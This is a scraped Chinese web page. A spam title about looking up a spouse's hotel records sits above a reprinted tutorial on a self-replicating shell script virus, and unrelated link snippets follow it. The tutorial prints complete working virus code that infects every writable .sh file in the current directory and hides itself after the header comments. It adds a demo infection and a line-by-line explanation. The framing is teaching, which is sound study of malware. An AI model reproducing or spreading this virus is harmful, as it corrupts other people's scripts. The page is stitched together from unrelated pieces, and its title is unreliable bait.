怎么样查询我老公和别人的酒店开房记录 如何查

访客4年前黑客工具1067

说起病毒总有点神秘的味道,想起以前用汇编编写之一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。 这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。 SHELL病毒简介 1. 前言 说起病毒总有点神秘的味道,想起以前用汇编编写之一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。 这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。 2. 程序代码 #!/bin/sh #文件名: virus_demo.sh #用途 : shell病毒演示。 #说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。 #编写 : watercloud@xfocus.org #日期 : 2003-5-13 #B:<+!a%C&t:> vFile=$_ ; vTmp=/tmp/.vTmp.$$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> #EOF 看shell是多么得强大,这么短短得程序就能感染其他程序文件 3. 演示 测试一下: 先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。 [cloud@ /export/home/cloud/vir]> ls -l drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./ drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../ -rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh -rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh 来看看我们这个"肉鸡"脚本,很简单: [cloud@ /export/home/cloud/vir]> cat test.sh #!/bin/sh # Just a demo for virus test # Author : foo # Date : 3000-1-1 ls -l #EOF 好了开始感染他。 [cloud@ /export/home/cloud/vir]> ./virus_demo.sh Hi, here is a demo shell virus in your script ! 来看看感染后的结果: [cloud@ /export/home/cloud/vir]> cat test.sh #!/bin/sh # Just a demo for virus test # Author : foo # Date : 3000-1-1 #B:<+!a%C&t:> vFile=$_ ; vTmp=/tmp/.vTmp.$$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> ls -l #EOF 看,病毒体: #B:<+!a%C&t:> . . . . #E:<+!a%C&t:> 被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处! 这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明, 你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。 来执行看看我们新的病毒体看看: [cloud@ /export/home/cloud/vir]> ./test.sh Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。 -rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh -rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh 4. 简单讲解 我们来一步步分析一下这个病毒: #B:<+!a%C&t:> 病毒体开始标记,用于程序复制自己定位用。 vFile=$_ ; vTmp=/tmp/.vTmp.$$ 定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们 必须把这行作为程序有效行的之一行,如果放后头我们就无法得到当前程序 名称,后面就找不到从哪里去找病毒体来拷贝了。 for f in ./*.sh; do 开始循环,找到当前目录下的所有.sh结尾的程序。 if [ ! -w $f -a ! -r $vFile ]; then continue; fi 目标是否有写权限,病毒源文件是否有读权限。 if grep '<+!a%C&t:>' $f ; then continue; fi 目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧? if sed -n '1p' $f | grep 'csh'; then continue; fi 如果目标shell是以csh的那语法上差异太大了,放弃吧。 cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。 vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` 这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不 过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体 插入点。 sed -n "1,${vNo}p" $vTmp >$f 一个sed命令把目标文件的开始注释部分从备份文件中copy回来。 (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f 再来一个sed完成搬运病毒体的工作。 vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f 最后一个sed把目标文件的其他部分搬回来,sed真强大呀!! rm -f $vTmp 清理一下临时文件。 done >/dev/null 2>&1 循环结束。 unset vTmp ;unset vFile ;unset vNo 清理一下犯罪现场。 echo "Hi, here is a demo shell virus in your script !" 都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。 #E:<+!a%C&t:> 病毒体结束标记,用于程序复制自己定位用。 5. 后记 从中我们可以看到脚本病毒非常简单

相关文章

黑客apk(黑客APK游戏)

黑客apk(黑客APK游戏)

为什么APP会被黑客攻击? 1、此外,还有一些APP可能会自动保存我们的搜索历史、位置等信息。如果这些信息落入了不法分子之手,就会给我们带来很大的麻烦。比如,他们可以利用这些信息对我们进行诈骗、盗窃等...

成都哪里有缝补衣服的地方(专业缝补衣服的地方)

  最先,缝纫长裙   1.使线放进绣花针中,线尾系结;   2.寻找张口一部分,拿手磨去,穿进图上,这些,留意反缝;   3.完毕后,线上尾打个结,随后用剪子剪;   4.把长裙翻过去,把修...

网上如何赚钱快,每天两个小时就能月入6000+!

网上如何赚钱快,每天两个小时就能月入6000+!

很多朋友都曾经在或者正在网络上淘金,但是往往因为对网赚缺乏一定的了解与认知,因此很难做得好,赚不到什么钱。那么今天小编就给大家分享一下自己整理的网络赚钱方法大全,教教大家在网上怎么赚钱,让大家少走弯路...

黑客帝国属于什么水平(黑客帝国讲了什么故事)

黑客帝国属于什么水平(黑客帝国讲了什么故事)

为什么电影《黑客帝国》系列评价很高? 角色设定完美,演员演绎到位。男主人公是一个年轻的网络黑客,充满好奇心,充满斗志,又非常厉害,同时他在现实生活中是一个平凡的人,其他人物的形象与他交相呼应,共同让这...

宝宝防晒霜用什么牌子好 宝宝防晒霜品牌推荐

宝宝防晒霜用什么牌子好 宝宝防晒霜品牌推荐

夏天紫外光明显,小宝宝柔嫩的肌肤非常容易被皮肤晒伤,除开搞好防晒隔离以外,还能够给孩子涂防晒乳,维护肌肤,目前市面上各种各样知名品牌的防晒乳有很多,留意挑选成分,小宝宝防晒乳用什么品牌比较好?下边我产...

东方美食湘菜(10道朴实无华湘菜|东方美食)

东方美食湘菜(10道朴实无华湘菜|东方美食) 有人说,好吃的湘菜都是朴实无华的。的确,对于湖南百姓来说,湘菜就是一碗普通的家常小炒,它没有过于花哨的装盘、复杂难懂的烹调手法,只要食材够新鲜、做法够简...